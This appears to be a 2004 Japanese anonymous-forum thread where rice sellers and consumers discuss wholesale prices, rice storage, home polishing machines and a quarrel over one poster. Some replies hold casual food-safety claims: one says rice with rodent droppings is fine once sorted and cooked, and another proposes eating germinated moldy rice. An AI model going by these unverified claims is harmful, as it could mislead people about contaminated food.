      |・∀・|ノ  よい
     ./|__┐
       /  調子
    """"""""""""""
         .__
       ((ヽ|・∀・|ノ  しょっと
         |__| )) 
          | |
          調子
    """""""""""""""""

457 :頼りない米屋:04/08/08 13:52
【関係者 仕入れ情報】
15年茨城こし1等 80俵 13900円
    同上 少ロット 14150円
15年千葉こし1等  80俵 13800円
15年福島こし 少ロット 15400円
16年宮崎こし2等少ロット 16500円

【一般消費者】
上記の価格÷53+100円=10kgの今現在の製造原価です、おおむね。
計算してみて下さい。


458 :頼りない米屋:04/08/08 13:54
ご希望の銘柄があれば、現在の市況価格
あるいはそれを踏まえた製造原価教えます。

459 :もぐもぐ名無しさん:04/08/08 15:45
しばらく出なけりゃいいものを
その程度のことでわざわざ書き込んじゃって
その性格が仇だね。荒らしたいですか



460 :ただ今精米中 ◆hebglziyis :04/08/08 16:04
 お疲れさまです。

15年産秋田あきたこまち(産地指定なし)スポット価格を教えてください。

16年産新潟ミルキーは、いくら位になるのやら...
今からアタマ痛いです(>_<)

461 :もぐもぐ名無しさん:04/08/08 16:10
頼りない米屋さん、もう自己顕示欲つよすぎ。
その情報、業界スレ立てたらいいじゃん。
他の米屋さんに質問しようと思ったのに、ぎゃふんだわ。
逝っちゃってください。めんどくさくなりますんで。
新スレは「頼りない米屋ですが何でも質問に答えます」でお願いします。
現スレタイは、米屋をあなたと限定していないはず!!!




462 :461:04/08/08 16:19
459さん、友だち!
あんたとは感性が合いそうだわ!

463 :頼りない米屋:04/08/08 16:25
おお、収まったと思ってたら。じゃ消えます。

464 :もぐもぐ名無しさん:04/08/08 16:31
やっとわかった?時間のかかるお人やね。

465 :もぐもぐ名無しさん:04/08/08 17:34
スレ主を追い出す住人なんて、他の板では見かけないよ。
食べ物板って、考えが卑しい人ばっかだね。

466 :もぐもぐ名無しさん:04/08/08 18:29
馬鹿チュプが多いから仕方ないw

467 :もぐもぐ名無しさん:04/08/08 20:17
       __ 
      |・∀・|ノ  よい
     ./|__┐
       /  調子
    """"""""""""""
         .__
       ((ヽ|・∀・|ノ  しょっと
         |__| )) 
          | |
          調子
    """""""""""""""""


468 :もぐもぐ名無しさん:04/08/08 20:23
頼りない米屋いなくても消費者の質問は処理できる訳だから
刺のある発言が目立つ頼りないは荒しを呼ぶだけ。
それでもまだ彼の自慢話や顧客騙しの米配分、
問屋騙しのテクニックなどの講義を必要とする配下米屋さんは
「業界専門スレ」でも立てたほうがいいよ。

ここのスレタイから連想できる消費者向け質問スレにとっては
彼はもう邪魔以外のなにものでもないから・・・

469 :もぐもぐ名無しさん:04/08/08 20:46
>>468 邪魔なのは、お前だよ!!!

素人は、引っ込んでな!!

業界人同士で情報交換してるんだから!!

さっさと糞して寝ろよ!!

470 :もぐもぐ名無しさん:04/08/08 21:10
H16年産宮城県産コシヒカリ5K2000円がスーパーで
出てたけど、今年の宮城産コシヒカリの出来はどうですか?
普段は新潟産のコシかひとめぼれ系を好んで食べてるんですが
味の違いとかはどうなんだろう?

471 :もぐもぐ名無しさん:04/08/08 21:12
宮城ってもう新米?コシヒカリ?

472 :もぐもぐ名無しさん:04/08/08 21:23
宮城に住んでるけど、穂が出揃ったくらい。
ちょうどいい天候だし、宮城は豊作ですね。ササニシキの出来が楽しみです。
稲刈りは、10月になってからですね。

473 :もぐもぐ名無しさん:04/08/08 21:24
宮崎ではなくて?

474 :もぐもぐ名無しさん:04/08/08 21:26
一人あたり米消費量
昭和60年 80kg
平成13年 62.5kg

475 :もぐもぐ名無しさん:04/08/08 21:30
>>470
宮崎産として味は期待できません。
新米に惹かれて以前は買っていました。
もうすでに値下がり傾向ですね。


476 :もぐもぐ名無しさん:04/08/08 22:06
>457

てことは10kgの製造原価は300円〜400円てとこなの?


477 :もぐもぐ名無しさん:04/08/08 22:21
もうコテハン叩きはいい加減にしろや。
名無しで偉そうなことぬかすなら(オレもか)
てめえで理想のスレたてろや>>468
「お米屋さん、お願いだからおせえてよ」とかよ。


478 :470:04/08/08 22:28
まちがった、宮城さんじゃなくて宮崎産でした
スマン

479 :もぐもぐ名無しさん:04/08/08 22:40
>>469
>>477
迷惑です。


480 :もぐもぐ名無しさん:04/08/08 22:41
宮崎産のコシはあきらめて、15年産の新潟コシかミルキかってくるか・・。
ヒメヒカリだったかヒノヒカリって九州の銘柄があったとおもうけど、
宮崎産コシと比べて味や香りはどうですか?

481 :もぐもぐ名無しさん:04/08/08 22:44
なんか、エッチだな。

482 :もぐもぐ名無しさん:04/08/08 23:00
早く夏が過ぎないかなぁ・・・
有給、お盆に使う人多いのかなぁ。w

483 :もぐもぐ名無しさん:04/08/09 00:55
>>459>>461
わかりやすい自演だなぁw

484 :もぐもぐ名無しさん:04/08/09 01:38
そういや、東穀取が本腰入れて米の先物を導入に取り組むことになったね。
上級銘柄には関係のない話だが、相互に互換性の高い低位銘柄については、
産地や卸商の横暴は許されなくなるわけだ。

485 :もぐもぐ名無しさん:04/08/09 01:41
>>473
一日あたり500キロカロリーくらいか。
2200キロカロリーが標準摂取だから、もはや、米は主食でもなんでもなくなってるわけだな。

486 :もぐもぐ名無しさん:04/08/09 06:30
>>483
自演は君のほうじゃん 粘着は消えてくれ!
なぁwなぁwなぁw うるせえよ

487 :もぐもぐ名無しさん:04/08/09 06:53
>>480
ヒノヒカリは不作といわれた15年〜16年前半こそ有力卸の引きで
関東への出番があったがこの秋はないかも。
程度の銘柄らしいです。

488 :もぐもぐ名無しさん:04/08/09 08:25
      r;ァ'N;:::::::::::::,ィ/      >::::::::::ヽ
.      〃  ヽル1'´        ∠:::::::::::::::::i
       i′  ___, - ,. = -一   ̄l:::::::::::::::l
.      ! , -==、´r'          l::::::/,ニ.ヽ
      l        _,, -‐''二ゝ  l::::l f゙ヽ |、 ここはお前の日記帳じゃねえんだ
        レー-- 、ヽヾニ-ァ,ニ;=、_   !:::l ) } ト
       ヾ¨'7"ry、`   ー゙='ニ,,,`    }::ヽ(ノ  チラシの裏にでも書いてろ
:ーゝヽ、     !´ " ̄ 'l,;;;;,,,.、       ,i:::::::ミ
::::::::::::::::ヽ.-‐ ト、 r'_{   __)`ニゝ、  ,,iリ::::::::ミ    
::::::::::::::::::::Vi/l:::V'´;ッ`ニ´ー-ッ-,、:::::`"::::::::::::::;゙ ,  な!
:::::::::::::::::::::::::N. ゙、::::ヾ,.`二ニ´∠,,.i::::::::::::::::::::///
:::::::::::::::::::::::::::::l ヽ;:::::::::::::::::::::::::::::::::::::::::::/ /
::::::::::::::::::::::::::::::! :|.\;::::::::::::::::::::::::::::::/ /


489 :もぐもぐ名無しさん:04/08/09 10:01
>>488 つまらないAA貼りつけてる暇あるなら働け!!

いつまでも親の金でネットしてんじゃねえぞ!!

くされ外道が!!

490 :頼りない米屋:04/08/09 13:59
お盆前の為、休日出勤しておりました。
さて本題ですが
新スレ「お米屋だけど何でも質問に答えます11俵半目 」立てました。
念の為「11俵」ではなくて「11俵半」です(w
http://food6.2ch.net/test/read.cgi/food/1092026699/l50#tag1
有志の方のみ移動をお願い致します。
私が大嫌いな方は、どうぞこのままこちらで存分にお楽しみ下さい。

それでは私は帰宅しますので明日からどうぞ。




491 :もぐもぐ名無しさん:04/08/09 15:36
暗い感じで売れてなさそうな米屋さんでも
結構、お米が段積みしてありますが、
あれってどのくらいで処理するの?
売れ残ったら袋入れなおすのかな?

492 :もぐもぐ名無しさん:04/08/09 22:43
>>491
地元の小さな米屋のことだね。
そういうところって、直接店舗まで出向いて買いにくる人が少なくて、
店の中にお客さんがいるのをあまり見かけないから、
米もあんまり売れてないように見えるだろうけど、
それって、ほとんどが電話注文だからなんだよね。売れてないワケじゃないよ。(たぶん^^;)
そりゃ、スーパーや量販店に比べると売れる量は少ないだろうけど
小売店は積んでるっていっても、スーパーほどたくさん積んでないでしょ?

袋の詰め替えもしないんじゃないかな?
だって、袋の詰め替えも袋代のロスなわけだしね。
それだったら、小まめに搗精(精米)すればいいわけさ。

ま、店それぞれだろうけどね。

493 :もぐもぐ名無しさん:04/08/09 22:50
私は頼りない米屋さんの言い回しや、やり方は好きではありませんので
こちらからお願いさせていただきます。
なにかしら質問の際はぜひご回答よろしくお願いいたします。



494 :もぐもぐ名無しさん:04/08/10 09:59
ゴメン。二行目以降の意味がよくわからんよ。
次回質問する時は、一度お父さんに読んでもらってね。>>493

では次の質問。

495 :もぐもぐ名無しさん:04/08/10 10:30
米販売を始めるのに必要な設備や資格、届け出があれば教えてください。

496 :もぐもぐ名無しさん:04/08/10 11:38
>495
お近くの農政局、農政事務所で教えてくれますよ。


497 :もぐもぐ名無しさん:04/08/10 14:57
>>496
資格が必要ということですかね。確認してみます。
ありがとうございます。
あと設備等はどういったところで教えてもらえますか?
農機具関係でしょうか?

498 :もぐもぐ名無しさん:04/08/10 16:36
資格は要らないと思うけど。
お米屋は知事許可制から登録制になったし。
設備とは?
販売店ぢゃ無いの?もしや精米工場まで建てるの?

499 :もぐもぐ名無しさん:04/08/10 17:46
>>498
ありがとうございます。
玄米からひととおりの事はと思ってますが
いきなり工場ってレベルになっちゃうんですかね?
やっぱ、問い合わせや扱いは農機具屋ですか?


500 :もぐもぐ名無しさん :04/08/10 17:48
500

501 :もぐもぐ名無しさん:04/08/10 17:59
>499
商工会議所とかすでに営業しているお米屋さんで聞いてみればどうでしょう。

502 :夜ナニー ◆TS8yhAeDPk :04/08/10 19:45
>>495
一度にどのくらいの量を精米をするかによりますが、
30kg位までなら農機具屋さんで販売しているものでも大丈夫です。
農家でも結構持ってます。
が、米屋をするとなると、石抜き機ぐらいは必要でしょう。
小型精米機を絡めたプラントはいろんなメーカーが出しているので
メーカーに資料請求してみたらどうでしょう。

登録は年間20精米トン以下の販売量ならば不要です。
が、簡単なことですので取っておいたらいいと思います。

ちなみにどんなスタイルの店を考えてるんですか?




503 :もぐもぐ名無しさん:04/08/10 20:16
>>495
一通り揃えたいんなら、精米機以外に・・・
混米機、石抜機にカラー撰穀機(変色した米などを取る)などの機械に、
袋を閉じるシーラーなんかもいるよ。昔ながらの紙の米袋ならミシンとか。
今の機械は小型化されてるんだろうけど、ウチにあるのは大きい。
天井は普通の天井の高さでは足りず。1.5階分くらいかな。

504 :使えない卸:04/08/10 23:20
届出ですが、おこめの情報で、検索すれば、わかります。今は、FAXでもOK.

505 :もぐもぐ名無しさん:04/08/11 00:28
新スレ、早くも荒れ模様の気配。頼りない米屋にも問題あるね。

506 :もぐもぐ名無しさん:04/08/11 02:05
このスレ最近レベル下がってきているね。
頼りない米屋さんに批判的な一部の半プロの方々よ、
あんたらの話は正直つまらないよ。
そんなに不満ばかりあるのなら別スレたてりゃいいじゃん。
そっちが面白ければ漏れも覗きに行くよ。
漏れは今後も頼りない米屋さんの書き込み楽しみにしてるよ。

507 :もぐもぐ名無しさん:04/08/11 02:16
最近の用語に疎いのだが、半プロって何?
以前、夏厨とか言われてた人たちのこと?

508 :もぐもぐ名無しさん:04/08/11 07:49
今回の荒らしでつまらないのは非常にラベルが低い事。
リア厨だってもっとマシな事を書きそう。

509 :もぐもぐ名無しさん:04/08/11 12:48
某通販カタログに発芽玄米の精米機が載っていて、
水に浸して30分で発芽し、普通の炊飯器で炊けるとありました。
玄米を買ってくるだけだし、袋入りの発芽玄米よりぐっと割安ですよね。
買おうかと迷ってるんですが、性能的に大丈夫でしょうか。
ちなみに「玄米シェフ」という名前でした。どなたか使っている方いらっしゃいますか?

510 :もぐもぐ名無しさん:04/08/11 13:59
その機械を使ってはいないけど、発芽玄米常食してます。
外果皮を削って発芽を促す・・・って仕組みみたいですね。
だけど30分で芽が出るのかな、米って・・・
多少は保温とかして促すのかもしれないけれど。

面白そうだから他で聞いてみよう。
>>509さん、レス、コピペさせてくださいね。


511 :509:04/08/11 14:28
>>510
どうぞコピペしてください。でも情報ゲットしたら教えてくださいね。
なにやら果皮をきれいに取り除いて、発芽しやすく研ぎ上げるらしいです。
軽量米びつ形状で、玄米を入れておくとあとは量を設定してスイッチひとつ。
1合を1分で研ぎ上げると書いてありました。

512 :509:04/08/11 14:58
あの、書き忘れましたが、気になってるのが音。
マンション住まいなので、音が大きいのは困るんです。
それで使っている方にお聞きしたかったんですが。

513 :もぐもぐ名無しさん:04/08/11 15:28
うちにあるのは普通の家庭用精米機だけど
研米という目盛りから白米まで4段階になってる
手動でもっと加減が出来そう。
発芽玄米は別に買っていたけど今夜からいろいろ試してみようと思います。
音は確かにうるさいですがw
窓を開けてそこに置いてというような使い方
でなければ2,3分で済みます。

514 :もぐもぐ名無しさん:04/08/11 15:50
>>512
家庭用のちっこい精米機
うるさいよ。
静かな針を落としても音が聞こえるような環境だと
雷が鳴ったような音に聞こえるよ。
少し大げさです。スマソ。

515 :もぐもぐ名無しさん:04/08/11 16:19
>>506
流れとレスを読めよ。
あなたのお好きな全プロは別スレ立てられましたので
どうぞどうぞそちらへ行ってください。
半プロでも丁寧に受け答えしてもらえる方が素人には有り難いものだ。
全プロ消えたおかげで平和になった。

516 :509:04/08/11 17:05
>>513>>514さん
レス、ありがとうございます。やっぱり音は大きかもしれませんね。
普通の家庭用精米機っていうのは、どういう仕組みなんですか。
「玄米シェフ」はブラシで研ぐと書いてあったんですが、それでもうるさいかしら。
隣の方が赤ちゃん産んだばかりで、音にちょっと神経質になられていて、
しばしばクレームがあるもんですから(泣)


517 :もぐもぐ名無しさん:04/08/11 17:29
513です
我が家の精米機は簡単に言うとミキサーをマイルドにしたような歯が付いています。
玄米を投入し、攪拌しながら周囲を削っていきます。
時間を何段階かに調節してどれくらい削ると5分、7分、白米となるかという目盛りが付いています。
他の精米機は知りませんが、お米屋さんの精米機も基本的な仕組みは同じようですね。

518 :もぐもぐ名無しさん:04/08/11 20:31
精米機の基本
回転数の違うゴムローラーの間に玄米を通す。
ローラーの回転差で玄米がこすられて糠が取れ白米になる。
そのほか、いろいろあるよ。

519 :509:04/08/11 23:43
精米機と一口に言っても構造はいろいろなんですね。
どんなのがいいのかわからなくなってきました。
513さんの最初のレスをみたら、普通の精米機でも発芽玄米に研げるのかも・・とか。
だったら白米にも精米できるのが欲しいとか、果てしなく欲張りにw
いずれにせよ、問題は音ですよね。本音で応対してくれるかわかりませんが、
まず「玄米シェフ」のメーカーに問い合わせてみることにします。
皆さま、どうもありがとうございました。
おすすめの家庭用精米機があったら今後も情報くださいませ。時々スレをのぞいてみます。



520 :もぐもぐ名無しさん:04/08/12 12:51
食生活が変わってきているのは時代の流れで仕方ない事だけど
一日1食は美味しいご飯を食べたい。
あのお米も美味しいがこのお米も美味しい、こういう炊き方をすると美味かった。
この炊飯器で炊くとウマイよと興味が次から次に湧いてくる。
試行錯誤しながら最終的に自分なりに美味しいご飯を食べるという終着駅を
目指しています。
失敗も含めてその過程も楽しいし。

521 :もぐもぐ名無しさん:04/08/12 16:49
>518
それは「籾摺り機」。
決して「精米機」ではない。

522 :もぐもぐ名無しさん:04/08/12 17:35
いきなりですが、懺悔します。

友人からいつも玄米の精米を頼まれてたんですが、その友人の奥さんに
30kgまとめて精米してほしいって言われたわけです。
うちの家庭用にゃ30kgはちと大仕事なんで、お米屋さんに頼むことを進めようと
思ってブツを見てみると、なんとまあ真緑のマーブルになってたんです。
つまり、カビだらけ。全部で30kg x 3のストックがほぼ全滅。
で、奥さん曰く「ダメにしたって、主人に知られたくない。魚沼産だし、怒られるぅ」。

523 :もぐもぐ名無しさん:04/08/12 17:45
つづき

しょうがないので、マーブルになった玄米を
ほぼ茶色、やや緑、緑、真緑に選り分けて、コイン精米機で
ほぼ茶色とやや緑を精米しちゃいました。
結果、ほぼ茶色はカビ臭い白米に、やや緑はカビ臭いみどり米に。
その時点で緑と真緑は、精米せず廃棄処分に(ほぼ30kg)しました。
カビ臭い白米はともかく、カビ臭いみどり米については、
捨てることを勧めたのですが、「カレーにする」と奥さん。

友人と、コイン精米機使用の皆さん。ホントごめんなさい。

524 :もぐもぐ名無しさん:04/08/12 18:08
コイン精米機を使っているけど
毎回、同じお米なのに妙にかび臭い時がある
原因は君かあー 困るなあ 
あと投入口がスパイダーマンの巣のような時はさすがに萎える。
みんなが使う精米機です。
虫食い、カビなどのお米は精米しないようにしましょう。

525 :もぐもぐ名無しさん:04/08/12 18:21
別に精米しなくてもいいじゃん。
発芽させてから食えばいいじゃん。

526 :もぐもぐ名無しさん:04/08/12 20:09
つーか、カビ生えた米食ったら、食中毒起こすよ。毒素は残ってるし。

その前に食えるのかね・・・いくらカレーにするったって。

527 :もぐもぐ名無しさん:04/08/12 21:32
そのみどり米、半分としたって30kgでしょ?
カレーにして何食分になるのやら。
まさか食堂とかじゃないだろうな。

528 :もぐもぐ名無しさん:04/08/13 09:41
522は死ねば良いのに。

529 :もぐもぐ名無しさん:04/08/13 13:20
そういや13日の金曜日。カビ米の呪いか。
>>528は、間違いなくコイン精米機常用者だな。
死ぬのはともかく、食中毒になるのは528の方が先だわなw

530 :もぐもぐ名無しさん:04/08/13 14:17
うわー、大変だなぁ>522
旦那には怒られないかもしれないけど、死んじゃうかもね。
それにしてもよくまあ面倒見てやったもんですねー。

531 :もぐもぐ名無しさん:04/08/13 16:45
減農薬米を家庭用の精米機で食う度に精米して
出た糠を炒って食べてる。
米の栄養を余さず消費しようと思っての事だけど
今のところ体調はすこぶる良い。
注意した方が良いと思う点があったら教えて下さい。

532 :もぐもぐ名無しさん:04/08/13 20:36
>531
減農薬栽培米はあくまでも減農薬栽培米、無農薬栽培米や有機栽培米ではない
まぁ、無農薬栽培米も無化学肥料栽培米ではないし有機栽培米も使用可の農薬、化学肥料はあるわけで・・・
普通栽培米も白米にすれば ほとんど残留農薬はないと聞いた
胚芽、糠は栄養の宝庫であるが残留農薬や有害物質の宝庫でもある
健康のために玄米や糠を食しているはずが、健康を害するものを食している可能性も・・・

533 :もぐもぐ名無しさん:04/08/13 20:43
11俵半のほうが11俵より荒れているのは 頼りない米屋さんが11俵半へ移ったのが原因?

534 :|-^*)b:04/08/13 20:53
まじめな質問なんだがローヤルゼリーってなによ?

535 :もぐもぐ名無しさん:04/08/13 21:21
なによって、まじめな話
米屋に訊くなよ。

536 :もぐもぐ名無しさん:04/08/13 22:04
>>534
はちみつみたいなものだから、そっち系のスレで聞いてね

537 :もぐもぐ名無しさん:04/08/13 22:32
>>533
正解
北も金正日がいなくなれば平和になるのに...

538 :もぐもぐ名無しさん:04/08/13 22:44
いや、北はここぞとばかりに暴動が起きるぞw

539 :もぐもぐ名無しさん:04/08/13 22:54
>>532
ありがとうございます。
やはり残留農薬は気になりますよね
無農薬米で始めたかったのですが、好みの味の無農薬米に当たった事がないので、今は味を優先しての減農薬米利用です。

ものは試しと始めたところ、疲れにくくなって地力がついたと言うか、
芯から元気が出てくるようで、このまま続けても良いかなーと思いながら
少し気がかりだったのでどなたかに指摘してもらえたらと思い、書きました。
今のところマイナス面は出ていないので、伺った事を頭の隅に置きながら
続けようと思います。
人体実験のようでもありますね(汗

540 :もぐもぐ名無しさん:04/08/14 00:27
そう神経質にならなくてもよいのでは?
無農薬などに拘ってたら現代は生きれません。
それにより高く売れる米屋の戦略とでも思った方が良いよ。
(しかも本当に無農薬とは限らない)
高い差額を払って米だけ無農薬にしたところで
それ以上の危険はいっぱいあると思うしね。

541 :もぐもぐ名無しさん:04/08/14 13:06
>>533
あちらのお店は荒らしでスレが伸びてるのが可笑しいね。
て書くと、頼りない米屋が懸命に自演を始めるだろうけど。


542 :もぐもぐ名無しさん:04/08/14 17:04
>>540
そうですね
自分もそれ程無農薬に拘っている訳ではありません。
糠の効能を試してみたく始めたのですが、実行しながら考えるタイプ
なので熟慮し残したという気持ちがあり、詳しい人からのアドバイスが
あれば参考にしたいと思いました。
考えを広げると地球環境にまで及び兼ねない話になりますし、そこまで
考えながら食う物を選んでいる訳ではないので
ここで教えてもらえるものがあればと言う気持ちで書き込みました。
>540さんのお考えも頷ける事多しです。

543 :もぐもぐ名無しさん:04/08/14 17:08
すみません >542は>539です。

544 :もぐもぐ名無しさん:04/08/14 17:21
漏れは地球環境にも考慮して食べ物を食べています。
日本でも収穫できるようなもの(特に野菜とか)は輸入品を選ばない、
食物連鎖の特に高いもの(特に牛肉など)は食べない、です。

結果的には自分の健康にも役立つので続けて逝こうと思っています。

545 :もぐもぐ名無しさん:04/08/15 05:11
ネットで買った無農薬玄米にネズミの糞が結構な割合(?5kgに数個l位)で混入しています
米はフン除いて食べてるんですけど、食べない方がいいんですかね?
母に聞いてみると昔はよく入っていたそうなんですけど・・・
今までこんなことがなくて、今回買った所で初めてこういう状態になりました



546 :もぐもぐ名無しさん:04/08/15 06:37
ぐだぐだいってねえでうんこくえや(゚∀゚)つ●

547 :もぐもぐ名無しさん:04/08/15 09:03
>>545
お母様のおっしゃるとおりです。
米は工業製品ではなく農作物ですのでゴミや虫、
作業場の籾摺り機や乾燥機等には糞が混入することもあるでしょう。

しかし、無菌室で生活しているわけではないでしょうから
異物は取り除いて、炊いて加熱すればまったく問題ないと思いますよ。
ただ、あまりにも割合が多いようでしたら購入先の変更がいいかも。

548 :もぐもぐ名無しさん:04/08/15 13:27
2K1000円でコシヒカリだというお米をスーパーで買いました。
米粒が小さくて楕円形で先が片端かけている形ではなく、
丸長い形です。
2時間水につけてもおいしくは炊けません。水1.1:米0.9でやって
柔らかくならないです。
削り米でしょうか。
塩とかサラダ油とか入れないとうまくいかないのでしょうか。

549 :もぐもぐ名無しさん:04/08/15 16:58
>>547
お返事有難うございます
そうですね
加熱すれば一応害は無いと思うので、一安心です
今まで見たこと無かったのでかなりビックリしてしまいました


550 :もぐもぐ名無しさん:04/08/15 22:45
>>548
圧力鍋がおすすめ。

551 :もぐもぐ名無しさん:04/08/16 02:42
田舎から4ヶ月程前に送られてきた新米、
最近炊き上がりのツヤもなく、味が落ちてしまいました。
炊く時に日本酒を入れてみましたが、それでも生のもち米の様な炊き上がりです。

少し前まではツヤもあり、おいしく食べれていたので、
炊き方の問題ではないと思います・・・多分。

このお米をおいしく食べるには、どのようにしたら良いでしょうか?


552 :もぐもぐ名無しさん:04/08/16 02:48
嫌いじゃなければ 昆布と一緒に炊いてみて


553 :もぐもぐ名無しさん:04/08/16 03:10
言っていい事なのかな?

・・・・・・11俵半のスレでノートン先生が反応するの俺だけ?

554 :もぐもぐ名無しさん:04/08/16 04:23
むこうの>>88には変なのが貼ってあるんだよ。
うちでは反応してくれないのだけれど…。

555 :もぐもぐ名無しさん:04/08/16 06:57
>551 :もぐもぐ名無しさん :04/08/16 02:42
>田舎から4ヶ月程前に送られてきた新米

カキコされたのが8月16日、その4ヶ月前なら4月ですよ
4月に新米が取れる地方ってどこ?
沖縄でも7月、ひょっとしてオースト?
そらぁ〜 おいしくないわな


556 :もぐもぐ名無しさん:04/08/16 15:28
>>551
4ヶ月前に新米って15年産ってことかな?
いずれにしても、少し前まで普通に炊けてて、急にマズくなることは考えにくいね。
確かに搗いてから2ヶ月くらいがギリギリなんだけど、
2ヶ月過ぎたからって、極端に味が落ちるわけでもないよ。
通常は4ヶ月程度なら、策を講じなくても食べれるレベルであると思う。

なので、原因は炊飯器にあるのかもしれないよ。一度、他の米をもらって炊いてみるが吉かな。
もしくは米の保存状態が悪かったのかもね。まさか直射日光に当たりっぱなしはないと思うけどさ。

ツヤを出したいなら、邪道ではあるが、ほんの少しサラダ油を入れて炊くとかね。

>>553
向こうのスレはウイルスコードが貼られてる。

557 :もぐもぐ名無しさん:04/08/16 15:31
>>556
何でウィルスコードの削除依頼しないの?

558 :551:04/08/16 17:15
みなさん、レスありがとうございます。

お米は4月か3月頃に送られてきた、新米シールのついた
山形産のひとめぼれだったと思います。
米袋がもうないので、種類は確かではないのですが・・・。

お米の保存状態・・・。
母方の田舎からお米が送られてくるのですが、
私と私の母は別居していて、母は1人じゃ食べきれないからと
母宅で開封したお米を、私の家に持ってきたんです。
同じお米だし・・・と思い、米びつに混ぜました。
それからかも知れません、味や炊き上がりが悪くなったの。
もしかしたら、母宅での保存の仕方が悪かったのかもしれません。

とりあえず、今晩はサラダ油を入れてみることにします。

559 :もぐもぐ名無しさん:04/08/16 17:41
>558 お米は4月か3月頃に送られてきた、新米シール

新米の表示はお米の取れた年の12月31日まで
よって、最低でも8ヶ月以上前に精米された米と思われます
おいしくないのは当たり前です

560 :もぐもぐ名無しさん:04/08/16 18:54
>556 確かに搗いてから2ヶ月くらいがギリギリ

半月が限度です
味に敏感な人は、一ヶ月も保存していると最初と最後で味が違うとおっしゃいます
最低でも家庭での保存は一ヶ月が限度です
お米の保存場所は、最低最悪なところです
湿気・高温の台所、おまけに冷蔵庫の横

>通常は4ヶ月程度なら、策を講じなくても食べれるレベルであると思う。

食べれるというレベルなら1年でも食べれる
古古米は豚のえさにしますといっていた政府が豚のえさ以下のものを国民に食べさせているくらいだもの
おいしい おいしくないのレベルで、食べれる 食べれないのレベルじゃないと思う

561 :556:04/08/16 19:13
>>557
向こうのスレで言うなら分かるけど、ここで俺に言われてもなぁ^^;

>>551
油以外に、みりんや日本酒、蜂蜜なんてのもありますが
どれを入れるにしても、入れすぎはダメよ〜。
好みもあるだろうから、初めは数滴だけにして、徐々に増やしていくのがいいんでないかな。


562 :556:04/08/16 19:24
>>560
なんだか妙に突っかかってくるね。
まぁ、俺の書き方も悪かったのかな?

2ヶ月と言ったのはごく一般的に言われてる期限のことでね、
厳密に言うとなれば、その人の保存方法から、味覚まで考慮して答えなきゃならないからね。

「食べれるというレベル」ではなく「策を講じなくても食べれるレベル」ってことだよ。
これも、厳密な定義なんてないしね。>>551の書き込みに対して
通常なら4ヶ月程度なら何もしなくても普通に食えるから、
米が原因なのではないのかもしれないねって言いたかったのよね。


563 :もぐもぐ名無しさん:04/08/16 20:18
560です
>562 >>560 2ヶ月と言ったのはごく一般的に・・・

あなたの言う一般的って?
お米屋さん? 消費者?
わかった 子供がよく言う「みんな持ってるもん!」と同じ次元?
一般的に2ヶ月は言わないと思う
最低一ヶ月が限度
言葉が足り無すぎ
保管場所にも拠りますが・・・ は、必要

>厳密に言うとなれば、その人の保存方法から、味覚まで考慮して答えなきゃならないからね。

味覚は別として、どんなところに保管されていますか? って聞いてください
西日の当たる台所、冷蔵庫の横、計量米びつ、共働きで窓は締め切り
この保管場所で、2ヶ月は普通とはいえないと思う
>>551の書き込みに対して,通常なら4ヶ月程度なら何もしなくても普通に食えるから、
米が原因なのではないのかもしれないねって言いたかったのよね

551さんにかんしては米が原因でしょう
新米シールが張ってあるお米って いつ精米したの?
あなたが言う4ヶ月の倍ですよ

564 :556:04/08/16 21:30
>>560
すまんすまん、また言葉が足らなかったね。
「秋冬で2ヶ月がギリギリ」と書けばよかったのね。
けど、なぜそこまで細かく言うのなら、味覚は別にするのですか?
あなた自身が>>560で>味に敏感な人はと言ってるのに?
さらに>>560で>半月が限度 と言っておいて、その後に1ヶ月が限度とはこれいかに?
真冬でも半月が限度ですか?

でさ、>新米シールが張ってあるお米って いつ精米したの?
これに関しては>>558のレス見て初めて言えることでしょ?
>>556の時点では分からないことですよね。
・・・なんて言い出したら、あなたの書き込みも
矛盾や言葉が足らないとこがありますよね?

だからね、もう不毛な議論は止めにしません?
なんでこんなに絡まれなきゃあらないのか分からんけど、
質問→応答→補足 とかこういう流れならOKだとは思うんだけどね。
俺の言葉が足らなかったなら、それに「補足」ってカタチにしてくれた方が、
スレ的にはスムーズに運べると思うんだけどなぁ。

565 :もぐもぐ名無しさん:04/08/16 21:59
何でそんなに熱くなるのかね?>>560
宮城の新米でも大量入荷しちゃったのか?

566 :もぐもぐ名無しさん:04/08/16 22:58
放っとけ放っとけ。こいつは向こうのスレでもわけ分かんねぇ突っ込み入れてるから。
556は別におかしいこと言ってない。560が細かすぎるだけ。

567 :もぐもぐ名無しさん:04/08/16 23:21
560はずっとタイ米食ってます。でも保存場所と保存方法はばっちり!

568 :551:04/08/17 03:58
なんだか私のレスがきっかけで、大変な事になってしまったみたいです。
なんだか申し訳ないです。

>>新米の表示はお米の取れた年の12月31日まで
 よって、最低でも8ヶ月以上前に精米された米と思われます
と教えていただきましたが、田舎の親戚の人は3月か4月に
お米屋さんから直送してくれてるんです。
となると、お米屋さんは最低3〜4月経ったお米を売っていた
と言う事になりますよね?
>>「秋冬で2ヶ月がギリギリ」
とのレスもあり、そうなるとそのお米屋さんって??
と思ってしまいました。

どちらにせよ、家にあるお米は古くて味が落ちたんですね。
いきなりツヤが無くなり、味が落ちたと思ったので、
すごく不思議だったのですが、味が落ちて当たり前の状況だったみたいです。
自炊生活が半年で、お米の保存期間等が分からなかったので、勉強になりました。
みなさん、ありがとうございました。

569 :夜ナニー ◆TS8yhAeDPk :04/08/17 12:11
>>560
お前コーヒーとちゃうのんか?


570 :もぐもぐ名無しさん:04/08/17 13:56
>>565
>宮城の新米でも大量入荷しちゃったのか?

どういう意味?

571 :もぐもぐ名無しさん:04/08/17 14:58
  _ 、、 _
 <:::::::`!:ヽ      、 i r        /:レ:-::"レ..、
 !`:::::::::::::::::|  , ..::::':_:::::::_ ̄::`::...、  /::::::::::::::::::::フ
,->::::::::::::::::/o ':r " "/ !ヽ `ヽ、::::::ヽ {:::::::::::::::::::::::、フ
`-、::::::_;:::,/O:/  _        ヽ:::::::8!:::::::::::::::::::::>
       l::|   _ヽ  、 /_   'i:::::::! ヽ-:;;;::-''"
       .i:| (・ ) ,  ( ・ )  |::::i
       | } ''_''_     _'' ''  !' Y
       `!/`‐'‐`=='‐--'ヽ , ノ
        ! ! r  ̄ v‐  ̄ ), ノ-、
       /`ヽ=-ニニ-=-"   \
      ( ,   | Y_-゚-`_Y |     )
       r=,ヽ-./  r‐`~ヽ__ヽ_ヽ= '_/
       i    , __{、   _    ̄   |
       ヽ__, -'    ̄ ヽ、_  _/ \
       /            ̄    ヽ
       /                  i
       |                /
       ヽ              /



